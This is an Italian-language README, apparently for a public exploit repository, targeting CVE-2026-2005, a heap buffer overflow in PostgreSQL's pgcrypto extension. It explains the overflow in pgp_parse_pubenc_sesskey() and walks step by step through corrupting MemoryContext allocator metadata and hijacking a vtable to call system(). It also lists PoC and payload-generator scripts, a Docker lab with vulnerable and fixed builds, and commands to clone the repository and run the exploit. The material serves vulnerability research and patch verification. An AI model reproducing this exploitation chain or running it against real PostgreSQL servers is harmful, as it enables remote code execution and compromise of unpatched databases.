
# Exploit per CVE-2026-2005, un heap overflow nell'estensione pgcrypto di PostgreSQL che porta all'esecuzione remota di codice. Include generatori di PoC, laboratorio Docker e analisi tecnica dettagliata.
Esecuzione di codice remoto tramite una singola query SQL che prende di mira l'estensione pgcrypto di PostgreSQL. La vulnerabilità è un heap buffer overflow in pgp_parse_pubenc_sesskey() che consente la corruzione dei metadati dell'allocatore MemoryContext interno di PostgreSQL, ottenendo l'esecuzione di codice arbitrario come utente postgres.
| CVE | CVE-2026-2005 |
| Componente | contrib/pgcrypto/pgp-pubdec.c |
| CWE | CWE-122 (Heap-based buffer overflow) |
| CVSSv3.1 | 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) |
| Versioni affette | PostgreSQL 14.0–14.20, 15.0–15.15, 16.0–16.11, 17.0–17.7, 18.0–18.1 |
| Versioni corrette | 14.21, 15.16, 16.12, 17.8, 18.2 |
| Divulgata | 2026-02-12 |
| Commit di correzione | 379695d3cc70d040b547d912ce4842090d917ece |



git clone https://github.com/dinosn/cve-2026-2005.git
cd cve-2026-2005/lab
docker compose up -d pg-exploit
# Attendere ~5s per l'inizializzazione di postgres
python3 ../poc/exploit.py --run cve-2026-2005-pg-exploit

// contrib/pgcrypto/pgp-pubdec.c — pgp_parse_pubenc_sesskey()
ctx->cipher_algo = *msg;
ctx->sess_key_len = msglen - 3; // controllato dall'attaccante
memcpy(ctx->sess_key, msg + 1, ctx->sess_key_len); // sess_key è uint8[32]
ctx->sess_key è un buffer fisso di 32 byte incorporato in una struct PGP_Context allocata nell'heap. Un messaggio PGP appositamente costruito con una chiave di sessione RSA cifrata di dimensioni eccessive porta sess_key_len fino a ~200 byte, causando un overflow nelle allocazioni heap adiacenti. La correzione aggiunge un controllo dei limiti sess_key_len > PGP_MAX_KEY.
sess_key[32] scrive metadati falsi dell'allocatore nell'allocazione MBuf adiacenteMBuf->data = NULL così che explicit_bzero venga saltato durante la puliziahdrmask contraffatto viene decodificato in blockoffset=64, reindirizzando il puntatore del blocco verso dati controllati dall'attaccanteAllocSetFree scrive l'indirizzo del chunk in MC+16 (il campo MemoryContext->methods), sostituendo il puntatore alla vtableMemoryContextDelete(MC) chiama methods->delete_context(MC) tramite la nostra vtable falsa → system(MC)system() legge la struct MemoryContext come stringa: NodeTag 0x1D5 = "\xd5\x01\x00\x00" → esegue /usr/local/bin/\xd5\x01pgcrypto installata (CREATE EXTENSION pgcrypto)/usr/local/bin/\xd5\x01 (incluso in Dockerfile.exploit)├── README.md
├── poc/
│ ├── exploit.py # Generatore + esecutore di exploit autonomo
│ ├── gen_exploit_v7.py # Costruttore di payload annotato
│ ├── gen_payload.py # Generatore di PoC solo-crash (tutte le dimensioni di overflow)
│ ├── poc_big.sql # PoC di crash pre-generato (SIGSEGV)
│ └── poc_minimal.sql # PoC di overflow minimo a 4 byte
├── lab/
│ ├── docker-compose.yml # Lab completo: vulnerabile, corretto, debug, exploit
│ ├── Dockerfile.exploit # Build di rilascio + script di attivazione (target RCE)
│ ├── Dockerfile.vuln # Build vulnerabile standard (demo di crash)
│ ├── Dockerfile.debug # Build Cassert (demo di asserzione)
│ ├── init.sql # Inizializzazione del database
│ └── setup.sh # Helper di configurazione del lab
├── reports/
│ ├── RCE-CHAIN.md # Writeup tecnico dettagliato dello sfruttamento
│ ├── REPORT.md # Report di analisi della vulnerabilità
│ └── TODO-FOR-RCE.md # Registro di sviluppo (completato)
├── screenshots/
│ ├── 01-target-verification.png
│ ├── 02-exploit-fire.png
│ ├── 03-rce-proof.png
│ └── 04-full-run.png
└── src/ # Snippet di codice sorgente pertinenti
| Container | Porta | Scopo |
|---|---|---|
pg-exploit | 5436 | Target RCE (17.7 standard + script di attivazione) |
pg-vuln | 5433 | Demo di crash (17.7 standard, SIGSEGV) |
pg-fixed | 5434 | Build corretta (17.8, rifiuta il payload) |
pg-debug | 5435 | Build di debug (cassert SIGABRT con attribuzione della sorgente) |
# Avviare tutti i container
cd lab && docker compose up -d
# Demo di crash (SIGSEGV sulla build standard)
docker exec cve-2026-2005-pg-vuln psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-vuln 2>&1 | grep "signal 11"
# Build corretta (rifiuta con grazia)
docker exec cve-2026-2005-pg-fixed psql -U postgres -d lab -f /tmp/poc_big.sql
# ERROR: Public key too big
# Build di debug (asserzione con file:riga)
docker exec cve-2026-2005-pg-debug psql -U postgres -d lab -f /tmp/poc_big.sql
docker logs cve-2026-2005-pg-debug 2>&1 | grep "TRAP"
postgres:17.7-bookworm. Build/ambienti diversi richiedono la ricalibrazione degli indirizzi (tramite GDB o info-leak).SELECT digest('x','md5')) nella stessa connessione stabilizza il layout dell'heap prima della query di sfruttamento.\xd5\x01 nel PATH. Il Dockerfile lo pre-installa. Lo sfruttamento nel mondo reale richiederebbe accesso in scrittura precedente o un approccio diverso con ROP/one-gadget.--enable-cassert si interrompono con un'asserzione prima della scrittura nella freelist.379695d)Questo exploit è fornito esclusivamente per ricerca sulla sicurezza autorizzata e scopi educativi. Utilizzarlo solo in ambienti di laboratorio controllati con autorizzazione esplicita.